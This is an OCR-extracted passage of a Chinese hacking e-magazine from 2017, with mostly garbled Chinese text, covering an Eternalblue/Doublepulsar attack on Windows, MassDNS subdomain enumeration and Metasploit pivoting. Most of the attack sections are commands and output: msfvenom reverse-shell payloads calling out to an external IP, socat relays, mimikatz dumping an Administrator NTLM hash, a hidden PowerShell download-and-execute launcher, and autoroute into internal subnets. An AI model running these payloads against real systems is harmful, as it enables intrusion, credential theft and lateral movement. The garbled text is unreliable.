(2K 365 ALY — B RTABAT AL QQ #f: 513833068
tE% 5. antian365-20170728 7K 365 fii FisZ i & & http://www.jianshu.com/c/ad835367h9e3

&

ittt ettt a ettt et e et s e et st et et e e tanaes 1
I 7 N T TS A N L ol N ab OO 4

O ] 3 TP 5

L3 T BT <ottt 7

A 5 N v = OO OO OO 8
2.1 AT i windows Oday 1EANRAIHLEZFEE] PR Kali cvoveoeeeeececeeeeeeceeeeseeeeeeee e 8
2.2MassDNS: BB DNS HLZE T Eheivieeeeeeeeeeeeee e 13
2.3 8 MSF 2% HH L SEE MSF HEZR IR I IBIZ ..o 16
PR I 2 = OO 16
2.3.2 FUFHIIEFRFD oot 16
2.3.3 FUFHIFEIEIE oot 17
2.3 T T 0T ettt 17
2.3.5 MSF BB IIAE ...ttt 19
2.3.4 BANIZIFIZ I oottt 21
2.3.5 FRELPI I RR BB IR oot 24
2.3.6 NI E AR BE IR T oot 25
2.3.7 PP TERLIBIB oottt 26
2.AXML A5 B FEIRTAFZ IR BT oot 29
24 AXMLAB B IEFETRT oottt 29
2.4.2 F2HE XMLAE BEIEFEIRTT oo 29

2.4 3XMLAZ B EE IR AT oo 29

2.5 AHITRTEAT ZZ SUAF oottt 31
2.5, L FT T R T ettt 31
2.5.2 T EL B T oot 32
2.5.3 SEHFFEZR oot 32
2.5.4 BRI LTI EE oottt 33
2.5, 5 M TG I et 33

2.6 WAL ERIHE I P FE U 0 1ottt saea e a et a s ae s 34
2.6.1 T T3 ereevereeeeeeesetse e ettt ettt ettt st s s et s s et s e s 34
2.6.2 5t T G AR ZT TR TR ZR e 34
2.6.3 D ZARITIEIGIIE IT covoreeeeeeeee et 34
2.6.8 TP SEIRIIR T oovoeeeeeeeeeee ettt na e s e enae e 35
2.7txt SUAR SR E S ENEIRFEAL TR oo 36
2.7.0 SUPEHET SOTt T2 oottt neenans 36
2.7.2UNIG ZEEE AL oottt ettt anen 37
2.7.3 SUARTSCAEFEE AL BRI ..ottt 37

2.8 KT cfs B 0 VBT DT oo e 39
28 LRI ..ottt 39
2.8.2 SEFITFM oottt 40
2.8.3 FITIB BT ovieeeeeeeeeeeee ettt sttt 41

2.9 FRARASHE LA ALE T T oottt 42

o1 v/ 61 T EAMGE: http://www. antian365.com  HARH¥: SH 28 H HTFE: Bk



(2K 365 ALY — B RTABAT AL QQ #f: 513833068
kBT antian365-20170728 %K 365 fii fisCiii & &: http://www.jianshu.com/c/ad835367h9e3

2.9.1 AL ETIRTATTEIE ..cooooeoeeeeeeeee ettt enaes 42
2.9.2 AL ETRTI G ZE oottt 43
2.9.3 TEIEFRIE ..ottt 43
p e I N R L e oo Sl | = = SOOI 44
2.9.5 ASH ST AL B IS oo 45
2.9.6 FES AT EAFREL LFISNEIl..cvoveveeeeeeeeeeeeeeeeeeeee st se st es e enesneenens 48
2.9.7 JBEE GBI oot 57
IR A N ab T ) FOO OO 57
3.1 %K 365 5 LR E AT oo 57

o2 v/ 61 T EAMEE: http://www. antian365.com  HRRH¥: A 28 H HTFRE: Bk



(22K 365 ALY ——(HE L EH AL LA QQ #f: 513833068
JEHS: antian365-20170728 %K 365 ﬁ%xﬁ%i‘éﬁ http://www.jianshu.com/c/ad835367b9e3

FlH %

CARK, CALRZTHET, REXGET, LAWK S
Tl (HR35XLFTA) CLEBREFWNT, ALBAA, ZAM
LR R hE R KMNEFEERSF, BERR, BAR S F,
B AR R, TIRERMNBEARa 3 BV HARFAT A

7 AERARMKGET, # (R % XA BiRAR 53D
CEART, B TAREIH LR B, (web 535 HEE KD

HHRABLT NE TR LABEAELEROIFF! BRRFT —H&K

Y, ARl T B AY R, BRAVNRBEE AR K £3E, HAVFE%E S
SRR, e KA RAT IS AR KGR IZA5F 50, K BAIER, K

STIN > F AT RN B, AR A F R K, HMNWBFE2GERA
KASE AR, +TEERE!

% % 365 simeon

2017 %7 A

O3 U/ 61 T EAMGE: http://www. antian365.com  HRRH¥: A 28 H HTFRE: Bk



(22K 365 “aWIL) ——(ERZEHARFIFL LM QQ #f: 513833068
ZES: antian365-20170728 4K 365 Tzﬁ%xfﬁé Wi: http://www.jianshu.com/c/ad835367b9e3

1RTZK 365 R ML TR

AT BVURNBZLEMABRIASFAE, ERHFEIATE
BB RE®SF R, BMNYBYRATHRSFHEESF, ik
A ERImER, BhAAEFA T R —AAFIT—FHK, £X
RETA 10 AA, TR EHE I FlK 10 FERKRE 2B, H#—4A
QA R, = ANEZRE —ANAFL—AEK, RLRE S K%
X 365 —F B IREVFA12FFHAR, BRKRAF TEHMLA,

2.9 FH — R T4

LR A — R BRI K, BV AAFRITERAAEA K, o RIER
A&, MAFhEFT. LERKTHR, LAAEE—RNOET,
BANENTRREHFEN, TARERKE ., LTURIELS,
do 2 &) e AE JE B X KA
3.9 FHEKX

(1) A5 | RH 20 B AR RIRAR, IR P 4% &
BER. SI T EEHIT RS F

(2) NAXFT@AGLEL, thde N FRBAIF LI 10 5, AL
TR 7 @ AT F o

HEHEFRELE. PPT &, 58 FHBIRFRL 257,

4. Z R AT A e gy K

(1) AR AEREFEIEA, AMME, 5255 F2% s

FHRNEFTHBLILIE

o4 v/ 61 T EAHMGE: http://www. antian365.com  HARH¥: A 28 H HTFRE: %k



(22K 365 “aWIL) ——(ERZEHARFIFL LM QQ #f: 513833068
kBT antian365-20170728 %K 365 ﬁﬁ%x/fjﬁéi http://www.jianshu.com/c/ad835367b9e3

(2) 2] FHE B A3 A 554 3 8 TR AT F 4%, TR
Jo 2B RF il g B

(3) REBAM 28 7 XHAT 5 Fo

(4) Bk STRASIRA] A 5-10 A

£ R 365 B2 AR QQ FF: 513833068

1.2 B RAES

STl i

BhR KER RF

<

Vie
2

4 '
P it
# N X
-

Vi

w L Lo Ezite

5 i/ 61 7T EHMNG: http://www. antian365.com  HRHB: &H 28 H HWTAE: Hth



(2K 365 ALY — B RTABAT AL QQ #f: 513833068
BT antian365-20170728 7K 365 fai fiAZ i & & http://www.jianshu.com/c/ad835367h9e3

&

BRI SEM BhIZE SE

SEzzreest

)Y
g
£]

RELMWebBBRA, SEER, SEAR, TR

B0

WebiSiER R Bt s pimzin

&R

DOD AWETMRORE AR A=/ BTN R R

| [ERCRREE R

% 6 Ti/4L 61 T EIFMEL: http://www. antian365.com  HERHBEA: MH 28 H HT4E. Ak



(2K 365 ALY — B RTABAT AL QQ #f: 513833068
kBT antian365-20170728 %K 365 fii fisCiii & &: http://www.jianshu.com/c/ad835367h9e3

== B

0% 5 1R

SLERD

B g

1.3 FrPms

KP4 BRAR: RRFA R L5RA AT 9 A HR.

o7 /3 61 T EAMGE: http://www. antian365.com  HRRH¥: A 28 H HTFRE: Bk



(2K 365 ALY — B RTABAT AL QQ #f: 513833068
kBT antian365-20170728 %K 365 fii fisCiii & &: http://www.jianshu.com/c/ad835367h9e3

2\

EAH RS RANRE

e W%i&mn

i 511

REWY  kFSE *
B KRBT T B RNE

AR WLIT O O

o
~

SR =) he b

i <o oA Ngtistendt

)

B2 WAL E

2.1 3 A windows Oday it4M#1L B RIM kali

By icuke
1. 4™ ip:112.90.89.14 I idi#l windows ip:192.168.42.135 H il kali ip:192.168.42.134
2. AR dII

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=112.90.89.14 LPORT=5667 -f
dil >msf2.dlI
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L

:~# msfvenom -p Qindows)x64/metérprete'r/reverseAtcp LHOST=112.9
LPORT=5667 -f dll >msf2.dll
No platform was selected, choosing Msf::Module::Platform::Windows from t
ad

No Arch selected, selecting Arch: x86 64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes

Final size of dll file: 5120 bytes

# msf2.dIl /%5 192.168.42.135 windows Zdi#l I
msfconsole 1247 Wi FFAC & payload

use exploit/multi/handler

msf > use exploit/multi/handler

msf exploit( ) > set payload windows/x64/meterpreter/reverse tcp
payload => windows/x64/meterpreter/reverse tcp

msf exploit( ) > show options

Module options (exploit/multi/handler):

Payload options (windows/x64/meterpreter/reverse tcp):
Name Current Setting Required Description

Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address
LPORT 4444 yes The listen port

Exploit target:
Id Name
0 Wildcard Target

msf exploit( ) > set LHOST 192.168.42.134
LHOST => 192.168.42.134

msf exploit( ) > set LPORT 4444

LPORT => 4444

msf exploit( ) > exploit

socat WM
112.90.89.14 CARIALH)
245, socat:apt-get install socat,

WSWT @ socat tep-listen:2222  tcp-listen:5667

'ot@HadoopSIavelw# socat tcp-listen:2222 tcp-listen:5667

5667 Ui 129 [ dil 34883 11, 2222 3 1124 kali socat 342231 [
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192.168.42.134 (kali)
245 . socat:apt-get install socat
U AR

socat tcp:112.90.89.14:2222 1cp:192.168.42.134:4444

:~# socat tcp:112.90.89.14:2222  tcp:192.168.42.134:4444

2222 Uit U ASMNAREEHLIG TG 1, 4444 2y msf §E Wi 11
5. F windows Oday #H47 Xt

1217 fo.py, FHHHATIHE

Module: Eternalbhlue

Value

DaveProxyPort

Metworkl imeout

TargetIp

TargetPort

VerifyTarget True
Uerif yBackdoor True
MaxExploitAttempts 3
GroomAllocations 12
ShellcodeBuffer

Target WIN72K8R2

Execute Plugin? [Yes] :
Executing Plugin
Connecting to target for exploitation.
[+]1 Connection established for exploitation.
Pinging hackdoor...
[+] Backdoor returned code: 18 — Success?
[+]1 Ping returned Target architecture: x64 (b4-hit)
[+]1 Backdoor is already installed — nothing to bhe done.
[#]1 CORE sent serialized output hlob (2 hytes):
IxAPABAPNAE B8 81
[#]1 Received output parameters from CORE
[+]1 CORE terminated with status code BxA0HAAEAEA
[+]1 Eternalblue Succeeded

ik e

use Doublepulsar, FFHEATHLE K7
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Value

D11Payload
D110rdinal
ProcessMame
ProceszsCommandLine
Protocol
Architecture

Selected Protocol SMB
Connecting to target...
Connected to target. pinging hackdoor...
[+]1 Backdoor returned code: 18 - Success?
[+] Ping returned Target architecture: x64 <(64-bit> — XOR Hey: BxBAZAY

EMB Connection string is: Windows Server ZBBE RZ2 Enterprise 7681 Service

Target 0% is: 2BB8 R2 w64

Target SP is: 1
[+]1 Backdoor installed
[+]1 DLL built
[.] Sending shellcode to inject DLL
[+]1 Backdoor returned code: 18 - Success?
[+]1 Backdoor returned code: 18 - Success?
[+]1 Backdoor returned code: 18 - Success?

[+] Command completed successfully
[+] Doublepulzar Succeeded

Bt

6~ msf BTN e

msf exploit(

j > exploit

[*] Started reverse TCP handler on 192.168.42.134:4444

[*] Starting the payload handler...

[*] Sending stage (1189423 bytes) to 192.168.42.134

[*] Meterpreter session 2 opened (192.168.42.134:4444 -> 192.168.42.134:47110)
t 2017-04-21 00:17:14 +0800
meterpreter > |}

INEL mimikatz B8, A FIREUK 5 565

load mimikatz

meterpreter > load mimikatz

Loading extension mimikatz...success.
meterpreter >

{§i ] msv & hash
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meterpreter > msv

[+] Running as SYSTEM

[*] Retrieving msv credentials
msv credentials

Package Domain User Password

0;358823 NTLM WINDOWS-IKTAKB2 Administrator 01360574657e00a8b36
54d09774859 }, ntlm{ efbl6bb3alba39a99a2de6lc9ef7af84 }

0;996 Negotiate WORKGROUP WINDOWS-IKTAKB2$ n.s. (Credentials KO)
0;38834  NTLM n.s. (Credentials KO)
0;997 Negotiate NT AUTHORITY LOCAL SERVICE n (Credentials KO)
0;999 NTLM WORKGROUP WINDOWS-IKTAKB2$ n (Credentials KO)

18 ] kerberos £ % W 3% HY

meterpreter > kerberos

[+] Running as SYSTEM

[*] Retrieving kerberos credentials
kerberos credentials

Package Domain User Password

Negotiate WORKGROUP WINDOWS - IKTAKB2$

NTLM

Negotiate NT AUTHORITY LOCAL SERVICE

NTLM WORKGROUP WINDOWS - IKTAKB2$
;358823 NTLM WINDOWS-IKTAKB2 Administrator

meterpreter >

0.0.0.0: 0.0.0.0:0 LISTENING
0.0.0.0:421 0.0.0.0:0 LISTENING
0.0.0.0:443 0.0.0.0:0 LISTENING
0.0.0.0:445 0.0.0.0:0 LISTENING
0.0.0.0:6088 0.0.0.0:0 LISTENING
0.0.0.0:14501 0.0.0.0:0 LISTENING
0.0.0.0:47001 0.0.0.0:0 LISTENING
0.0.0.0:49152 0.0.0.0:0 LISTENING
0.0.0.0:49154 0.0.0.0:0 LISTENING
0.0.0.0:49155 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49156 0.0.0.0:0 LISTENING

B2k, KIL 14501 1] DL A%

9 Administrator

B NS, RRIE R
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https://bypass.world/201703/socat-meterpreter%E5%AE%IEX%E7 %SE%BO%E7%BB%B4%E6%8C%
81%ESBAE%BF%ES%I7%AE/

http://www.360doc.com/content/150202/21/597197 445798715.shtml
http://mp.weixin.qg.com/s?  biz=MzIyNTAINzAXOA==&mid=502990295&idx=1&sn=181c1e9bh0
1854b87d3d4752c593c4dd4&chksm=700a2442477dad54b542427edad3ec16df8cde9f470eedebf
4597d4866d64b405801baf3d799&mpshare=1&scene=23&srcid=0415y75Z7 mxKZwwyksb1KPBW
#rd

http://www.10tiao.com/html|/665/201704/2650441901/1.html

2.2MassDNS: &5 DNS W T B

simeon

JE S HbE: http://offsecbyautomation.com/Use-MassDNS/
T HEMhHk: https://github.com/blechschmidt/massdns
1§ F Massdns
ME— KA I T
TLDR
MassDNS 1] LAZE JLRD B 4 o] SE M BT 100K 7380, WTLAER] AIRDNS [ ThRE, 9 H 4 fiti
I PAR RN R . W] LT e R A T R AR B ()34
PR
Altdns - 3Eid B ESORIHESIHEAT T4 % B, Altdns & —Ff DNS i8¢ T B, foiF RIS
T4 . Altdns 832 W] REARAE T80 R I3 i ie]. (Blaniing, JFR, 203D, BLAGREX
BANIE ) TR . T HALIE]: https://github.com/infosec-au/altdns
BB A (R — D i . IRE E AR VG R T B B . FEE, KR XEHE
FUBHE WA B R 14844, R RER BAR 8 MassDNS. ti4h, KTREADFHED
LW TR — Bt E], IR BN ITEVFZ s BRI T A
TH

AR Z BIAFIRE 7 T DAL FR-F A4 A28 o s B EGHE DU N TR (GRETARA T 32 Wil e
FERIEFE) -
1.Passive sources Chttps://github.com/rondilley/passivedns)
2.Subbrute Chttps://github.com/TheRook/subbrute)
3.Sublist3r Chttps://github.com/aboul3la/Sublist3r)
4.Enumall Chttps://github.com/jhaddix/domain)
5.Brutesubs Chttps://github.com/anshumanbh/brutesubs)
6.DNS-Parallel-Prober Chttps://github.com/lorenzog/dns-parallel-prober)
Passive sources

KBTI NIE, FNRCEHT D EINELE, ARAMER AR R R ik i) T H
BEANRIFIE AT LAY, A RABA AR A2 B e — e i SRR B SR e R A sl ok,
EEAEMNCRBITF R 7. SR, WK RIS, A8 LR S E e
BNIRIE R L FRIX LTI
FERE R, WERBEKTEHE AT, RFEMRE T, (HANZZ FERIE, XEHEHRA]
A HA T H .
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Subbrute

V2 NERFIIE A0 A ) — N G AR K T A TR fERE K, T ARGR AR R ENE
(3 U, A A I . SO A TG ERIR 225 H AR B 31 Isesns, 3RE ik
XA TH.

LIS IR Z AR, A ENE R AT AMA MR EZN IR, LI EEE
Subbrute & R MBI, LI T —LFfE.

LIZATIRZ K

2 AR AR

3.3 JE A K AE AT I [H]

FIH T RZ) 100K Fi4, AR 15 2080 5k 7 AR . BT 8 s S i
IpE]), RS E A 2N I E AL, X BT T AT RERIRI B 2 subbrute IZATI,
A AR ST AR Xk, g, e NI E A 3R
HU#5 2l DNS 15 E..

FESRIRA g, AN Z AT 3] 5 2 Mo IR S5 R AR B2, 1M subbrute 58T
25 B 5 (RS ) AR R SRR T CGRIGHLES) o A4h, UHSERITE R HARE, subbrute
SAB/REE . REROUNNERZE 78, REAERZHNTARER L, ISR
A,

Sublist3r

Sublist3r HE N B R ARYSAE SIS . IX LR AIE H AR M — A API, T R R ARG
I 5o SR, RSB IEE A BRG], V2 S Bt It RZ I, PPk
IS 1Ptk RO SRECE (AT AR

TR Sublist3r F] LAAREIZAT subbrute, (H T B JFRFRA S BhAL, Sublist3r 2i1E
HAr 1217, SRIGHKIKIZAT subbrute, T8 ANk R I2 4TI [A]

R, FRANE T — AN HASK NIRIZ 1T Sublist3r, X5 A —AMBIZ 4T subbrute. 1XFE, —
B — AR B AT LT IRLE 55— M Big AT, i 1 B . X Fhs
EEIEFUE F, B R T RO FIAHE subbrute FPESNIR. 32 ELAHR DU 5E R
5 1B 1]

Enumall

Enumall fK%E Recon-NG Chttps://bitbucket.org/LaNMaSteR53/recon-ng) AT #E 35 SIREEF
F I . Enumall 22— D7 EENAA, FN e AR — b7 308 ] 20 HAd T AR
FERAES o I ] Recon-NG SRAILENL, ©44 B SR 5128 1) T e RN B R .
BiE, N REEZ AN IET I HAE S, WIRURATTHER . Recon-NG KHZ 71z T
RN, R A RE

AL, BT ERE TR R P EIEE, RIES] T NAFRE ($20 7E box 1) . FERUEITE,
WM BRI A TAEX, RGN T —MREE —ANE TAEX . E — 4 REE, €
S FEIRHI L BIFES N AT

M xR ], IR M .

Brutesubs

AT AR L TR TR SN AT S, A DCRRLE, 1EME 784
FR) T BT VR 3R AT R

DNS-Parallel-Prober

TESEAMME, T RFEIAG, (HATHER MassDNS (3500 T o WA RIS, (BT R
F, G0 MassDNS FBURA Z (1R .
A
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EIX— i FREAAE AR, FTIANESIRIEF subbrute & &P 775, HAE,
AR AT T INGEd . IERAEIX— s b, FIBH| T MassDNS, AR .
PR URIAT LA Z —A “4E7 )
INEHIIZAT MassDNS. WRFGEFIX AT H, JORT5E RSN E], 8 HAR-7 505 )
MR N
TG, AR R R TC S A6 L . 100K FIPE 10 BP LA B DR . ARG, WRIRIRSEIE,
V284, UNFRE 5-10 0580 IRIELHEAT 2-3 NH, EREMT A S R A ERME
A i L o
PART, FRiEid subbrute WA Ti44, FHAHIRIASKENT 0. 25, REAEDE
RIRZ 34, (H2IE1T MassDNS BHMEH KT, ©4h 7K Z FHck &G5435
(Beor: B AN IEAE{HH EyeWitness: https://github.com/ChrisTruncer/EyeWitness, FAE %1
EAHA? )
IEAL, KRR L, 1A AItDNS #4618 A )tk T 5 CEPAEE AIRDNS A5 — Firfi phedeliA B 1 77 20 o
ARDNS ¥l —~ i, 0] DR AN 2] MassDNS H, DU S8 g v 1l it 32 K,
R 9RE — NN AR 2 30— ARSI, JRP15I1R 2 BRI, 2T H AL,
IRIE AT H B L MassDNS B[] DNS fifbfr a4 .
wa, TR AR . R EHIH, MassDNS ZiXf &SRR . Jo e BN anda], & 44 %}
AR ZHOCFN B . X — S7E NSk BR TR
Bribz 4h, NN R ZE (BdE) F e NEEMTH MassDNS, {H R ARIX AR AT LS &
) — 5o
i

FILEA VI massdns A — PN FEZERFHAS: B NMEERERN TR, BEERNET.
Pt i Hoh VF 2 TR AR 7 — AN J7 A B SN & TR s . A, AFRES
% Frans Rosen 7E AppSec B8 1 F, 7EAR Bk 7 HAL T HA, 1 MassDNS & A 1)1
@ Chttps://www.youtube.com/watch?v=FXCzdWm2qDg) . MassDNS A~£x{ B HiAh T H Frfit
PMER. #luw, wREALRETFE, 2 TE¥ASER (FONERZ NXDOMAIN) . {HiZ,
Frans 75, X B —A CNAME A — N3 A 183¢ A F 1% host #2441 [1] NXDOMAIN,
K EHAT] CNAME [k, (H2, WRAE NEM T CNAME, & —4> Ak, —2T
Aol 7ix— 1, prbiilicgi 2m% 7. 22, MassDNS AR s B (FRIEEIRMRE)
AR SR T AR
T INERMES, MassDNS 2 R FHLB R Z AT 85 . X FE—> DNS Ik 55 8 A i g it
T2, BT DRy EMZE (subbrute H2IXFE) o HiE, A BRIEA RPN
BRI AT AR [ H B A A E SR (B 2RI o BN —SAFEN FEAE R, 1R
SR, X TEEGG [N .
FR IR A 1) 8 ) — Rh 7 i e AT <R E)” BT, SRJ5 ] Google Y DNS (8.8.8.8) K
PraE M. W Google WA ML, TR LU fEHT 255128 v h Bk [m] 12 0 % 1Y B 46 DNS IR 5%
ae XM, ROAMBR T REZEBMINBRTTR, HIRE T T HNER.
SRTX B CPU FZ 'K o BRI FRIBATIXAS, FAES20 WA MM &ET, FIETH L O RAIR 324 !
B, ERAEELE, UFETLHYE GFEE—NEERKEFRCFE) .
I 5, MassDNS SR P i Hom . IXEMERN T B RS, LA — AR A
R PR ECE B R B R EEEARR A/ IR AR A B3RS R B B A 56 .
e ARV
SMEIRUEL, SN TfEA MassDNS $REEFIE R, BaigE —MHAKEN E, HS5HHEaR
HATRH . fERER, XN AN MassDNS I KRS . B 7TXMNvE, R EE
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SR GRFERE SR AT S R LB B B 3tk T, B AREE — MBI I M R
Pk — T, HLARTIIM S ik T Lo, B EEaE R, mAEME RS,
5+ 201746 H2H

2.3 H MSF EH¥FE LS MSF IEEZRNAMZE
2.3.1 AR

PAHEBE N T F W BRI RATCLEE web BEZET -G HM
HRg5 s, N7 DT AMEE, BATSAM “YeREIENL BT i —
A ARSI, 1 A PSS I B R AN 515 R BEAR 22, (ER A6 AR IF AR T 18,
R 3 EAR RN T AR SCRy, BAR N wX EEAMEUR I

PO 52, NRINCEE N — 6 WIS S 1T 2 L g, 78
HEAT N IRIBIERE, RILKNMNA KELE MS17-010 BRI ML, WRFRATEE FiX
ML, AIREALE SN A NSA T HEAG, (H 20t T B4R A AR SRR, BERs A7)
I AR ) — B R ES Metasploit, HEBHTWNMZBER —EH 2, HAE
78, HREANEFEARRR X 4 K — MELLEE S| RN L,
LR T AT A U B M2 B A FRA TN 28 #8434 1 MSF HEZE W ?
X ESRHER K —N A, ATERAZAT VR “ielaIN” /E AR, Sksciilfd
F MSF HEZL B2 N I EHLI BB BN ? 272 28R 10, MSF AEZL AT TH2 4t
T MBI REB AR AR e E, AR AT DUAFRATTAN I — 25 5% A 6 B A A X,
ARN RS T H PSR AR K.

2.3.2 FIABREHEH

_____________ —
[ PIRIRIES : 10.48.8.0/24 i
|

. _ Session2 | [

- AN -|r h N / !
“ _

. | y |

. | |

: N |

! BhAE _3152.2\3\2\\\'\ !

MSFF & : 192.168.10.109 %mwﬁ |
| |
| |
L emamn oeems

PN LZEE N
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2.3.3 FIAGRBE

ARG SRS, BRAME 1 7 VAU, #2456 powershell psl Wi #ifar >RAE “I8
FENL” EEZRPERE—A session &1, AEFIHIL session &iEfE N MSF
7 A P9 P A CRDBR B R —Bk (nexthop) MIE) , MIMSRSZHL MSF B4}
PN PO AL T 905 ) B B U I

P %A -

e (1) AT H webshell [ Windows AR5 %8 ;
e (2)powershell psl £=1f i
o (3)MSF BkAR % HH ¥ 0

2.3.4 F| HiZ 5t

1.4 powershell Jz 3

SRR B MSF ST T3 ELBM 1 3 DU et B AR MSF
FOBREEE KA “ BIFAMI0EE" , HRRIATE “ B RIS S BT
XEIMIRSG IR 25 28R TRT AP 1, JESE ISR LA ALAT TP, Bk
IR BB 10, SR IR B AE VSF PG U — 4Bk NI, 1 MSF -3
BT BRI | T ELIC 35/ Y RS HIE0 T — BB B AL 05 MSF
A5 “HIFEN" 21 session £ LI, FbL, JRATAEM NSF B & 20
BN, HOBRLRESCHI A “NSF T & ¢ HERERL 10 session X

KINZEFE R C L HiEr7 4 d11 i shell BIVE, IXBEBEE 5105
N5 powershell psl B shell xR,

2.8 F MSF 2E Rl — AN 31 ps1 1 shell

S shell A RIEAIINT

msfvenom -p windows/x64/meterpreter/reverse tcp
lhost=192. 168. 1. 123  1lport=12345 —f psh-reflection>/tmp/search. psl

W RESA /MAES W, A AR BB MSF A FE— N shell BiUF T,
P Al B8 B MSF A2 77 —AN 3t shell 20 LA, W& AT RE A SR AR 45 2% 1
AR ARIKTE, FTREM a0, FRIX B BB A X — W2 5% H e 3
BRIFFSAREER, BEATHAH RSV Ve R L2 eE ik r, FRAAN
& AR I e IR 1 S 5k R A (A B R 7 25 K K

3. 4% search.ps1 F| HFxr EHL

58 psl shell Jg, #IpE2 search. psl FALR|HArRSS 25, N F—FikiA
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(b s A e, X BB W E b A% 1 2R 55 48 S0

E: ATREHIRZ /AMAEE T M _ERIZERE, ST sesE i, W _EgA H A v,
— RN IX shell JHIAEE web R4 AR L, SR )5 R st 7 =00
B fi & shell R #k, 28 J5 AT shell 3K HL— > shell Jx 3.
POX B SEPrIA G2, BRATCERICT HArvh iy shell, ol LB £ EAFIXA
shell, ZRJELEARIRIAFIH BEEAEAPAT, TREHEMS LT

4, KA powershell A< 5 =

B, MNREE T AN RO E, BARK powershell AHuIE A 77 2 riEH]
R

powershell -windowstyle hidden -exec bypass -c¢ "IEX (New-Object
Net.WebClient).DownloadString('C:\Users\Myles\Desktop\shell.psl');test.
ps].Il

b S, FOBFIXAS powershell Pt/ Ar 44 N poweshell. exe
5.7 5 MSF A b W Wy

7E LNK JRiAIA AR UE & s B e, % Nl e TP e im PO NEWT 1, ZERRIm i fi & S
H—A shell H3k, HAK MSF FFfEus AT T .

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp
show options

set LHOST 192.168.1.123

set lport 12345

exploit

6. Fahfd & IR RIS 3 shell

MSF W C&H 1, KR shell & FAE, MEFRMTRZE L3l shell i
BIAT. BY, WATREXGH L mETT 2, BIAT G —4 shell 2izim) MSF
W, FARPLE AT LAE 2] MSF I 1E T &4, shell & AT, AN
FREL— MSF 5 Hbp FHLH) session £ o

BIRERR:
ARERT I FRAMN T4 2 TAE, 20 AMKEFHFATE R IRATE A4, "TREE ]
I U FRAT TR L2 3R H B AR AL HIRR 17, L ELRI AN MSF [ session &F
I 25 LW ?

HSZERATR B SR Tk, B BIRR R AT AT BE 2 HERA TN A BRI — A
“BHnENLE MSF [ session &1EF” T, FROIEIXA session HiZN T HEflH
MSF X ANHEZLXF A 94 () Hopth B HLISGE— 2B IBIE T, B ANIXAS session, FATHIAE
W4 MSF Bk *F 4 5l BE R XA session 35 BIERATTS P X EH LA 15 B AL H0HE 2%
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B, T — N2 TR KA 404 5% MSF % tids i D) e i S

2.3.5 MSF BktR ThRE

1HEAME S

2

MSF kiR Thag, ST MSF HEZE o 5y 1 — N % 3% R Thag, sl FE ot 2
MSF #EZELE O SR B meterpreter shell FUZEAE Fnin—2cE143 “WI” I
B, SEESEHM T —Bbe &k, BTG MSF M F& 58 0d B A @ —A4
session 21, BARBRAE KK AT LR WHTTIM) 1. 2 AT MHAE.

L msf AN HIOAE, T DA BB A msf 2505 A BRARAS RE BB VG 19 1) Y X B2 R,
R AL TR ABAME A msf 3R KIIRE, a4 T

2. msf Bt LB L FE
1R

(1) FEH - PNOLREE neterpreter 2=0f;

(2) FRECPA Wbk X B

(3) fENMSF P& LishnEat “WMMEL” 1% H
2. Pl AR

(1) 243K meterpreter shell
B 1AFEM, RIATEARIMESKE— MSF B P65 BFREHLE shell £&1iF
(meterpreter) , SRJGFI L &1 /\?kikﬁilneterpreter'z:IEEﬁ7i££4Eé§ 7N
HRZEHHZLL powershell psl JRgft— /N iE NN, BARHN W WG HE B
TFE

MSF % H s s B & a2 R

meterpreter >
meterpreter > run autoroute -h

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

[*] Usage: run autoroute [-r] -s subnet -n netmask

[*] Examples:

[*] run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to
10.10.10.1/255.255.255.0

[*] run autoroute -s 10.10.10.1 # Netmask defaults to
255.255.255.0
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[*] run autoroute -s 10.10.10.1/24 # CIDR notation is also
okay
[*] runautoroute -p # Print active routing table
[*] run autoroute -d -s 10.10.10.1 # Deletes the

10.10.10.1/255.255.255.0 route

[*¥] Use the "route" and "ipconfig" Meterpreter commands to learn about
available routes

[-] Deprecation warning: This script has been replaced by the
post/multi/manage/autoroute module

(2) RICH br A Rk B
HARSREE Bohe B br A st ik X B i 2 40 R s

meterpreter > run get local subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 172.17.0.0/255.255.0.0

H_ErTPAEREN, HARHMME R “172.17.0.0. /24”7
(3) AN AE H br B K i
fE meterpreter 2xif L EZUNINEAE H AR FIBE, BRI TR,

meterpreter > run autoroute -s 172.17.0.0/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

[*] Adding a route to 172.17.0.0/255.255.255.0...

[+] Added route to 172.17.0.0/255.255.255.0 via 10.48.8.234

[*] Use the -p option to list all active routes

IMMER G, FATRER T b 7 miE s, BAkdr T Fs:

meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table

Subnet Netmask Gateway

172.17.0.0 255.255.255.0 Session 3
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E: HUERZE, BATTUERHEAMT — KB H:

H Fr: 172.17.0.0 # 3 . 255.255.25.0 K — Bk M 5£ : Session 3
X H ) Session 3, B4 a4 Beds H Ar M5 MSF “F & 537 meterperter <18

OK, MSF ~F-&47 1 ZAE A I BLI B el ATt il BLERAE T MSF P 5 5% A R
ELEATEE D BERA T

2.3.4 X EEMN

1L.E I a4

(1) MSF“F4: 192.168.10.109
(2) HFsEM: 10.48.8.234
(3) HArMEBL: 10.48.8.024

BRSNS, B 12 B RMgIAEH .

FIFIRIES : 10.48.8.0/24

—
I

Session2 | E
I
|

| Bhi £ 104 3233\

MsFF& - 192.168.10.109 %Eﬁﬂﬁ !
I
I

HAEFEEH: 10488236 N

a2 TE st

2.3TIF MSF Al 1

N TS B ENURBER ) meterperter shell, FWAIFEE & /4T —A> MSF
AT, RPN R, BAEELREDT.

msfconsole

user exploit/multi/handler

set payload android/meterpreter/reverse_tcp
set lhost 192.168.10.109

set lport 12345

exploit
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root@kali: ~
File Edit View Search Terminal Help

sf > use exploit/multi/handler

sf exploit( ) =¥set payload windows/x64/meterpreter/reverse tcp
payload => windows/x64/meterpreagr/reverse tcp

sf exploit( ) >lset lhost 192.168.10.109

